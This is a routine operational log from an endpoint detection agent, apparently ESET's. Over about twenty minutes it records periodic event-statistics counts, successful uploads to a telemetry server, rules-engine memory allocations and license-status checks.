2026-03-04 07:07:06 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:03:01, To:, 2026-03-04 07:07:06, Duration (s):, 245, Events Per Second:, 16.831, Events:, 4124, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3419, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 704, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457164
2026-03-04 07:07:07 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s362ms.
2026-03-04 07:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1599 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 490 KB; rules::ProcessConditionsCache: 251 KB; BaseEvent: 142 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65956 KB;
2026-03-04 07:08:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:08:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:08:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:08:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1959 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 493 KB; BaseEvent: 320 KB; rules::ProcessConditionsCache: 229 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 84 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66494 KB;
2026-03-04 07:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2363 KB; ModuleMetadata: 585 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 506 KB; rules::ProcessConditionsCache: 222 KB; BatchSerializer::EventsQueueTag: 135 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67215 KB;
2026-03-04 07:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2743 KB; BaseEvent: 689 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; rules::ProcessConditionsCache: 236 KB; BatchSerializer::EventsQueueTag: 183 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67797 KB;
2026-03-04 07:11:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:07:05, To:, 2026-03-04 07:11:10, Duration (s):, 245, Events Per Second:, 16.860, Events:, 4134, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3434, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460965
2026-03-04 07:11:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s354ms.
2026-03-04 07:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1592 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; rules::ProcessConditionsCache: 218 KB; BaseEvent: 134 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65926 KB;
2026-03-04 07:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1951 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; BaseEvent: 312 KB; rules::ProcessConditionsCache: 200 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 82 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66493 KB;
2026-03-04 07:13:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:13:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:13:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:13:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2311 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 491 KB; rules::ProcessConditionsCache: 185 KB; BatchSerializer::EventsQueueTag: 129 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67056 KB;
2026-03-04 07:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2743 KB; BaseEvent: 674 KB; ModuleMetadata: 585 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::ProcessConditionsCache: 285 KB; BatchSerializer::EventsQueueTag: 178 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 67868 KB;
2026-03-04 07:15:14 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:11:09, To:, 2026-03-04 07:15:14, Duration (s):, 245, Events Per Second:, 16.837, Events:, 4129, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3426, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 702, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461191
2026-03-04 07:15:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 07:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1602 KB; TcpIpConnectionsManager: 609 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 491 KB; rules::ProcessConditionsCache: 341 KB; BaseEvent: 127 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66100 KB;
2026-03-04 07:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1969 KB; TcpIpConnectionsManager: 613 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 491 KB; rules::ProcessConditionsCache: 326 KB; BaseEvent: 308 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 83 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66682 KB;
2026-03-04 07:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2330 KB; TcpIpConnectionsManager: 588 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 487 KB; rules::ProcessConditionsCache: 306 KB; BatchSerializer::EventsQueueTag: 130 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67247 KB;
2026-03-04 07:18:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:18:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:18:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:18:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2693 KB; BaseEvent: 668 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; rules::ProcessConditionsCache: 291 KB; BatchSerializer::EventsQueueTag: 177 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67779 KB;
2026-03-04 07:19:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:15:13, To:, 2026-03-04 07:19:18, Duration (s):, 245, Events Per Second:, 16.720, Events:, 4097, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3384, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 710, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458354
2026-03-04 07:19:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s355ms.
2026-03-04 07:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1526 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; TcpIpConnectionsManager: 530 KB; rules::ProcessConditionsCache: 287 KB; BaseEvent: 112 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65911 KB;
2026-03-04 07:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1891 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 291 KB; rules::ProcessConditionsCache: 273 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 77 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66472 KB;
2026-03-04 07:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2179 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; TcpIpConnectionsManager: 501 KB; BaseEvent: 434 KB; rules::ProcessConditionsCache: 176 KB; BatchSerializer::EventsQueueTag: 113 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66817 KB;
2026-03-04 07:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2543 KB; BaseEvent: 614 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; TcpIpConnectionsManager: 499 KB; rules::ProcessConditionsCache: 165 KB; BatchSerializer::EventsQueueTag: 161 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67397 KB;
2026-03-04 07:23:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:23:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:23:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:23:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:23:36 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:19:17, To:, 2026-03-04 07:23:36, Duration (s):, 259, Events Per Second:, 15.861, Events:, 4113, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460001
2026-03-04 07:23:38 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s252ms.
2026-03-04 07:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1338 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; TcpIpConnectionsManager: 514 KB; rules::ProcessConditionsCache: 219 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; BaseEvent: 58 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 15 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65559 KB;
2026-03-04 07:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1702 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; BaseEvent: 236 KB; rules::ProcessConditionsCache: 202 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66165 KB;
2026-03-04 07:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2063 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 490 KB; BaseEvent: 413 KB; rules::ProcessConditionsCache: 181 KB; ModuleInfoCache: 110 KB; BatchSerializer::EventsQueueTag: 108 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66699 KB;
2026-03-04 07:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2424 KB; BaseEvent: 592 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 492 KB; rules::ProcessConditionsCache: 169 KB; BatchSerializer::EventsQueueTag: 156 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67252 KB;
2026-03-04 07:27:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:23:24, To:, 2026-03-04 07:27:46, Duration (s):, 262, Events Per Second:, 15.714, Events:, 4119, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 719, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459078
2026-03-04 07:27:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s377ms.
2026-03-04 07:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1339 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 494 KB; rules::ProcessConditionsCache: 154 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; BaseEvent: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65437 KB;
2026-03-04 07:28:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:28:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:28:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:28:25 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1700 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; BaseEvent: 203 KB; rules::ProcessConditionsCache: 143 KB; ModuleInfoCache: 110 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 53 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66014 KB;
2026-03-04 07:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2062 KB; ModuleMetadata: 587 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; BaseEvent: 379 KB; rules::ProcessConditionsCache: 123 KB; ModuleInfoCache: 110 KB; BatchSerializer::EventsQueueTag: 99 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66581 KB;
